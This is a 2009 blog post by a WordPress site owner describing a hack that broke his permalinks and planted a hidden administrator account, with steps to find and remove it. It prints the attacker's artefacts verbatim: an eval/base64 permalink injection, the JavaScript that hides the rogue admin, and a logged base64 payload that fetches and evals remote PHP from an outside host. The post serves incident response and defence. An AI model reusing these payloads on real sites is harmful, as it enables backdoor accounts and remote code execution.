This morning, I discovered that all of my permalinks (e.g. http://blog.nachotech.com/?p=119) were broken. When the permalinks were used, they would redirect to a URL that was partially correct, but had some extra code added to the end. Here’s what I would see on the end of the URLs:

/wordpress %&evalbase64_decode_SERVERHTTP_REFERER.+&%/

This seems harmless, but it breaks all the permalinks (which is the main way people visit my site, since that’s what Google shows.)

Your users will see an HTTP 400 BAD REQUEST error saying “Your browser sent a request that the server could not understand” like this:

HTTP 400 BAD REQUEST

I’ve done a lot of searching on the Internet for solutions, but haven’t found a good description of this particular hack yet, and no confirmation that this vulnerability is fixed in WordPress 2.8.4. However, here are the pertinent threads I have found:

http://www.journeyetc.com/2009/09/04/wordpress-permalink-rss-problems/
http://wordpress.org/support/topic/307518?replies=16
http://wordpress.org/support/topic/297639

I have also found this page to be helpful, although it doesn’t describe this particular hack:
http://ocaoimh.ie/did-your-wordpress-site-get-hacked/

As you can read in the above threads, the hacker (or the hacker’s bot-net) inserts a new Administrator user in your blog using SQL injection. If you look at your wp-admin’s Users page, you’ll see that the count of Administrator role users is one more than you had before. In my case, it showed “Administrator (2)” which indicates there are two administrator users. However, this new user added by the hacker has a clever First Name that includes some javascript to hide the user from the page. So I only saw 1 user in the list of Administrator users, not the 2 that are indicated.


HOW TO FIND AND DELETE THE HIDDEN ADMINISTRATOR

To find the hidden user, go to the /wp-admin/users.php page and click the link near the top of the page to view only Administrators. The page rendered in the browser will not show the hidden administrator, but you can “view source” of this page, and you’ll find the additional username somewhere in the HTML. Search for “tr id“. The key thing to find is the user id (e.g. “user-123″), which then can be used with the following URL, substituting the hacker’s user id (e.g. “123″) for NNN:

http://[your site URL here]/wp-admin/user-edit.php?user_id=NNN

Once you’re in the page to edit the user, you can change its role back to “Subscriber” and delete the bogus ‘first name’ field. (Also you’ll have to insert a bogus email address so that you can save your changes.) After saving the changes, return to the normal user list, and select this user and delete it.

NOTE: there are many more steps you’ll need to do in order to make sure your WordPress site is clean. Please consult My site was hacked FAQ for more instructions.


HOW THE HACKER HID THE NEW ADMINISTRATOR ACCOUNT

In my case, the hacker’s nickname in my WordPress user list was ElijahHastings65. Here is the clever “First Name” field that ended up hiding the hacker in the user list:

<input id="first_name" name="first_name" type="text" value="...
 
&lt;div id=&quot;user_superuser&quot;&gt;&lt;script ^@^@^W@language=&quot;JavaScript&quot;&gt;
var setUserName = function(){
        try{
                var t=document.getElementById(&quot;user_superuser&quot;);
                while(t.nodeName!=&quot;TR&quot;){
                        t=t.parentNode;
                };
                t.parentNode.removeChild(t);
                var tags = document.getElementsByTagName(&quot;H3&quot;);
                var s = &quot; shown below&quot;;
                for (var i = 0; i &lt; tags.length; i++) {
                        var t=tags[i].innerHTML;
                        var h=tags[i];
                        if(t.indexOf(s)&gt;0){
                                s =(parseInt(t)-1)+s;
                                h.removeChild(h.firstChild);
                                t = document.createTextNode(s);
                                h.appendChild(t);
                        }
                }
                var arr=document.getElementsByTagName(&quot;ul&quot;);
                for(var i in arr) if(arr[i].className==&quot;subsubsub&quot;){
                        var n=/&gt;Administrator ((d+))&lt;/gi.exec(arr[i].innerHTML);
                        if(n[1]&gt;0){
                                var txt=arr[i].innerHTML.replace(/&gt;Administrator ((d+))&lt;/gi,&quot;&gt;Administrator (&quot;+(n[1]-1)+&quot;)&lt;&quot;);
        arr[i].innerHTML=txt;
        }
    }
          }catch(e){};
     };
     addLoadEvent(setUserName);
&lt;/script&gt;&lt;/div&gt;" />

HOW TO FIND WHERE THE BOT ORIGINATED (MAYBE)

In my webserver’s log files I found more clues to when the attack occurred and from where it originated (IP Address 209.59.107.72):


209.59.107.72 - - [03/Sep/2009:19:49:29 -0700] “POST blog.nachotech.com/wp-login.php HTTP/1.1″ 302 5 “http://blog.nachotech.com/wp-login.php” “Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.10) Gecko/20060601 Firefox/2.0.0.10 (Ubunen-USgy)”

209.59.107.72 - - [03/Sep/2009:19:49:39 -0700] “POST blog.nachotech.com/wp-admin//options-permalink.php HTTP/1.1″ 200 10158 “http://blog.nachotech.com/wp-admin//options-permalink.php” “Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.10) Gecko/20060601 Firefox/2.0.0.10 (Ubunen-USgy)”

209.59.107.72 - - [03/Sep/2009:19:49:43 -0700] “POST blog.nachotech.com/xmlrpc.php HTTP/1.1″ 200 204 “JHJvbGU9J2FkbWluaXN0cmF0b3InOyR1c2VyX2xvZ2luPSdFbGlqYWhIYXN0aW5nczY1JzskdXNlcl9wYXNzPSdPcTJ4N0RRSClQUkAnO2V2YWwoZmlsZV9nZXRfY29udGVudHMoJ2h0dHA6Ly9saW5rcy53ZWJ3b3JkcHJlc3MuY24vZGF0YS9zaG9ydHBhcnQyLnR4dCcpKTtleGl0Ow==” “Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.10) Gecko/20060601 Firefox/2.0.0.10 (Ubunen-USgy)”

I suspect that it is this last line (the POST with the “JHJvbGU9J2FkbW…” contents) that is responsible for the PermaLink hack. However, I have no confirmation of this yet. If anyone has any more info, please email me at i...@nachotech.com or leave a comment below.

Here is a hex dump of this suspicious payload to help others who might be searching for clues:


0000000 4a 48 4a 76 62 47 55 39 4a 32 46 6b 62 57 6c 75
0000010 61 58 4e 30 63 6d 46 30 62 33 49 6e 4f 79 52 31
0000020 63 32 56 79 58 32 78 76 5a 32 6c 75 50 53 64 46
0000030 62 47 6c 71 59 57 68 49 59 58 4e 30 61 57 35 6e
0000040 63 7a 59 31 4a 7a 73 6b 64 58 4e 6c 63 6c 39 77
0000050 59 58 4e 7a 50 53 64 50 63 54 4a 34 4e 30 52 52
0000060 53 43 6c 51 55 6b 41 6e 4f 32 56 32 59 57 77 6f
0000070 5a 6d 6c 73 5a 56 39 6e 5a 58 52 66 59 32 39 75
0000080 64 47 56 75 64 48 4d 6f 4a 32 68 30 64 48 41 36
0000090 4c 79 39 73 61 57 35 72 63 79 35 33 5a 57 4a 33
00000a0 62 33 4a 6b 63 48 4a 6c 63 33 4d 75 59 32 34 76
00000b0 5a 47 46 30 59 53 39 7a 61 47 39 79 64 48 42 68
00000c0 63 6e 51 79 4c 6e 52 34 64 43 63 70 4b 54 74 6c
00000d0 65 47 6c 30 4f 77 3d 3d


HOW TO KEEP THIS HACK FROM HAPPENING

For now, I have simply renamed my xmlrpc.php file so that it is deactivated. I have read that the latest WordPress version 2.8.4 does not have this vulnerability, but I haven’t had time to update yet (thanks to GoDaddy’s slow response time making hosting changes).

UPDATE 9/6/9: I have manually upgraded WordPress to 2.8.4 (WordPress says it is not vulnerable to this attack). So far, my PermaLinks are working.